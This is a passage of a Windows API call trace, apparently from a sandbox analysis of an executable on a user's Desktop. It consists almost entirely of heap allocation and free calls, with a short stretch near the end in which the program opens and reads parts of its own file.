(HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afd0 [0075.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71680 [0075.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0075.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af60 [0075.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.037] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af60, Size=0x14) returned 0x2a71580 [0075.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0075.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0075.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0075.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0075.037] GetCurrentThreadId () returned 0x9b0 [0075.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0075.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71580 [0075.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0075.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0075.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.038] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8afd0, Size=0x14) returned 0x2a71680 [0075.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0075.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0075.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0075.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fb138 [0075.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0075.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0075.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71580 [0075.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82c8 [0075.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0075.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.038] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8afd0, Size=0x14) returned 0x2a71680 [0075.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82c8 | out: hHeap=0x2ad0000) returned 1 [0075.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0075.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0075.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f8f88 [0075.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fa990 [0075.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0075.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8298 [0075.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8268 [0075.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0075.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.039] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8afd0, Size=0x14) returned 0x2a71700 [0075.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8268 | out: hHeap=0x2ad0000) returned 1 [0075.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8298 | out: hHeap=0x2ad0000) returned 1 [0075.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0075.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f8f88 | out: hHeap=0x2ad0000) returned 1 [0075.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0075.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71680 [0075.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8370 [0075.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0075.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.039] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8afd0, Size=0x14) returned 0x2a71700 [0075.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8370 | out: hHeap=0x2ad0000) returned 1 [0075.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0075.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0075.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8478 [0075.040] GetCurrentThreadId () returned 0x9b0 [0075.040] GetCurrentThreadId () returned 0x9b0 [0075.040] GetCurrentThreadId () returned 0x9b0 [0075.040] GetCurrentThreadId () returned 0x9b0 [0075.040] GetCurrentThreadId () returned 0x9b0 [0075.040] GetCurrentThreadId () returned 0x9b0 [0075.040] GetCurrentThreadId () returned 0x9b0 [0075.040] GetCurrentThreadId () returned 0x9b0 [0075.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf8) returned 0x2cbacf8 [0075.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b000 [0075.040] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbacf8, Size=0x130) returned 0x2cbc4b8 [0075.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9bc8 [0075.040] GetCurrentThreadId () returned 0x9b0 [0075.040] GetCurrentThreadId () returned 0x9b0 [0075.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x3031d60 [0075.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f9bc8 | out: hHeap=0x2ad0000) returned 1 [0075.041] GetCurrentThreadId () returned 0x9b0 [0075.041] GetCurrentThreadId () returned 0x9b0 [0075.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fb2c0 [0075.041] GetCurrentThreadId () returned 0x9b0 [0075.041] GetCurrentThreadId () returned 0x9b0 [0075.041] GetCurrentThreadId () returned 0x9b0 [0075.041] GetCurrentThreadId () returned 0x9b0 [0075.041] GetCurrentThreadId () returned 0x9b0 [0075.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x3030540 [0075.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fb2c0 | out: hHeap=0x2ad0000) returned 1 [0075.041] GetCurrentThreadId () returned 0x9b0 [0075.042] GetCurrentThreadId () returned 0x9b0 [0075.042] GetCurrentThreadId () returned 0x9b0 [0075.042] GetCurrentThreadId () returned 0x9b0 [0075.042] GetCurrentThreadId () returned 0x9b0 [0075.042] GetCurrentThreadId () returned 0x9b0 [0075.042] GetCurrentThreadId () returned 0x9b0 [0075.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afd0 [0075.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0075.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8460 [0075.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af60 [0075.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.042] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af60, Size=0x14) returned 0x2a71580 [0075.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8460 | out: hHeap=0x2ad0000) returned 1 [0075.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0075.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.042] GetCurrentThreadId () returned 0x9b0 [0075.043] GetCurrentThreadId () returned 0x9b0 [0075.043] GetCurrentThreadId () returned 0x9b0 [0075.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5c) returned 0x2cd0b80 [0075.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9d50 [0075.043] GetCurrentThreadId () returned 0x9b0 [0075.043] GetCurrentThreadId () returned 0x9b0 [0075.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x3030b48 [0075.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f9d50 | out: hHeap=0x2ad0000) returned 1 [0075.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0075.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0075.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca84c0 [0075.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0075.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.043] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8afd0, Size=0x14) returned 0x2a71580 [0075.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca84c0 | out: hHeap=0x2ad0000) returned 1 [0075.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0075.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0075.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.044] GetCurrentThreadId () returned 0x9b0 [0075.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8310 [0075.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9298 [0075.044] GetCurrentThreadId () returned 0x9b0 [0075.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afd0 [0075.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71580 [0075.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8220 [0075.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af60 [0075.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.044] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af60, Size=0x14) returned 0x2a71680 [0075.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8220 | out: hHeap=0x2ad0000) returned 1 [0075.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0075.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0075.044] GetCurrentThreadId () returned 0x9b0 [0075.044] GetCurrentThreadId () returned 0x9b0 [0075.045] GetCurrentThreadId () returned 0x9b0 [0075.045] GetCurrentThreadId () returned 0x9b0 [0075.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x84) returned 0x2c2e7f0 [0075.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9bc8 [0075.046] GetCurrentThreadId () returned 0x9b0 [0075.046] GetCurrentThreadId () returned 0x9b0 [0075.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x3034190 [0075.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f9bc8 | out: hHeap=0x2ad0000) returned 1 [0075.046] GetCurrentThreadId () returned 0x9b0 [0075.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0075.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71580 [0075.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8298 [0075.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0075.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.046] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8afd0, Size=0x14) returned 0x2a71680 [0075.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8298 | out: hHeap=0x2ad0000) returned 1 [0075.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0075.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0075.046] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8478, Size=0x20) returned 0x2a1fb00 [0075.046] GetCurrentThreadId () returned 0x9b0 [0075.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83d0 [0075.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9bc8 [0075.047] GetCurrentThreadId () returned 0x9b0 [0075.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0075.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71580 [0075.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82c8 [0075.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0075.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.047] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8afd0, Size=0x14) returned 0x2a71680 [0075.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82c8 | out: hHeap=0x2ad0000) returned 1 [0075.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0075.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0075.047] GetCurrentThreadId () returned 0x9b0 [0075.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fab18 [0075.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f8f88 [0075.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0075.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71580 [0075.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82e0 [0075.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b000 [0075.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0075.048] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b000, Size=0x14) returned 0x2a71680 [0075.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0075.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82e0 | out: hHeap=0x2ad0000) returned 1 [0075.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0075.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0075.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fab18 | out: hHeap=0x2ad0000) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0075.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81f0 [0075.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82c8 [0075.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af60 [0075.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0075.048] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af60, Size=0x14) returned 0x2a71580 [0075.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0075.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82c8 | out: hHeap=0x2ad0000) returned 1 [0075.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca81f0 | out: hHeap=0x2ad0000) returned 1 [0075.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0075.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.049] GetCurrentThreadId () returned 0x9b0 [0075.049] GetCurrentThreadId () returned 0x9b0 [0075.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.049] GetCurrentThreadId () returned 0x9b0 [0075.049] GetCurrentThreadId () returned 0x9b0 [0075.049] GetCurrentThreadId () returned 0x9b0 [0075.049] GetCurrentThreadId () returned 0x9b0 [0075.049] GetCurrentThreadId () returned 0x9b0 [0075.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.049] GetCurrentThreadId () returned 0x9b0 [0075.049] GetCurrentThreadId () returned 0x9b0 [0075.049] GetLastError () returned 0x0 [0075.049] GetLastError () returned 0x0 [0075.049] GetLastError () returned 0x0 [0075.049] GetLastError () returned 0x0 [0075.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82e0 | out: hHeap=0x2ad0000) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af60 [0075.049] GetLastError () returned 0x0 [0075.049] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9990, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.050] GetFileType (hFile=0x2d8) returned 0x1 [0075.050] GetLastError () returned 0x0 [0075.050] GetCurrentThreadId () returned 0x9b0 [0075.050] GetLastError () returned 0x0 [0075.050] GetFileType (hFile=0x2d8) returned 0x1 [0075.050] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b9a0c | out: lpFileInformation=0x9b9a0c) returned 1 [0075.050] FileTimeToLocalFileTime (in: lpFileTime=0x9b9a20, lpLocalFileTime=0x9b9a50 | out: lpLocalFileTime=0x9b9a50) returned 1 [0075.050] FileTimeToSystemTime (in: lpFileTime=0x9b9a50, lpSystemTime=0x9b9a40 | out: lpSystemTime=0x9b9a40) returned 1 [0075.050] FileTimeToLocalFileTime (in: lpFileTime=0x9b9a18, lpLocalFileTime=0x9b9a50 | out: lpLocalFileTime=0x9b9a50) returned 1 [0075.050] FileTimeToSystemTime (in: lpFileTime=0x9b9a50, lpSystemTime=0x9b9a40 | out: lpSystemTime=0x9b9a40) returned 1 [0075.050] FileTimeToLocalFileTime (in: lpFileTime=0x9b9a10, lpLocalFileTime=0x9b9a50 | out: lpLocalFileTime=0x9b9a50) returned 1 [0075.050] FileTimeToSystemTime (in: lpFileTime=0x9b9a50, lpSystemTime=0x9b9a40 | out: lpSystemTime=0x9b9a40) returned 1 [0075.050] GetLastError () returned 0x0 [0075.050] GetCurrentThreadId () returned 0x9b0 [0075.050] GetLastError () returned 0x0 [0075.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0075.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0075.050] GetLastError () returned 0x0 [0075.050] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8149248, lpDistanceToMoveHigh=0x9b9ac0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9ac0*=0) returned 0x7c5900 [0075.051] GetLastError () returned 0x0 [0075.051] GetCurrentThreadId () returned 0x9b0 [0075.051] GetLastError () returned 0x0 [0075.051] GetCurrentThreadId () returned 0x9b0 [0075.051] GetLastError () returned 0x0 [0075.051] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=6786290, lpDistanceToMoveHigh=0x9b9e58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9e58*=0) returned 0x678cf2 [0075.051] GetLastError () returned 0x0 [0075.051] GetCurrentThreadId () returned 0x9b0 [0075.051] GetLastError () returned 0x0 [0075.051] GetCurrentThreadId () returned 0x9b0 [0075.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x11aa) returned 0x3036140 [0075.051] GetLastError () returned 0x0 [0075.051] ReadFile (in: hFile=0x2d8, lpBuffer=0x3036154, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9e20, lpOverlapped=0x0 | out: lpBuffer=0x3036154*, lpNumberOfBytesRead=0x9b9e20*=0x1000, lpOverlapped=0x0) returned 1 [0075.052] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc24c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9e0c, lpOverlapped=0x0 | out: lpBuffer=0x2cc24c8*, lpNumberOfBytesRead=0x9b9e0c*=0x1000, lpOverlapped=0x0) returned 1 [0075.052] GetLastError () returned 0x0 [0075.052] GetCurrentThreadId () returned 0x9b0 [0075.052] GetLastError () returned 0x0 [0075.052] GetCurrentThreadId () returned 0x9b0 [0075.052] GetCurrentThreadId () returned 0x9b0 [0075.052] GetLastError () returned 0x0 [0075.052] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b8ae4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b8ae4*=0) returned 0x67acf2 [0075.052] GetLastError () returned 0x0 [0075.052] GetCurrentThreadId () returned 0x9b0 [0075.052] GetLastError () returned 0x0 [0075.052] GetLastError () returned 0x0 [0075.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc24c8 | out: hHeap=0x2ad0000) returned 1 [0075.053] CloseHandle (hObject=0x2d8) returned 1 [0075.053] GetLastError () returned 0x0 [0075.053] GetCurrentThreadId () returned 0x9b0 [0075.053] GetLastError () returned 0x0 [0075.053] GetLastError () returned 0x0 [0075.053] GetCurrentThreadId () returned 0x9b0 [0075.053] GetLastError () returned 0x0 [0075.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30372f8 | out: hHeap=0x2ad0000) returned 1 [0075.053] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, 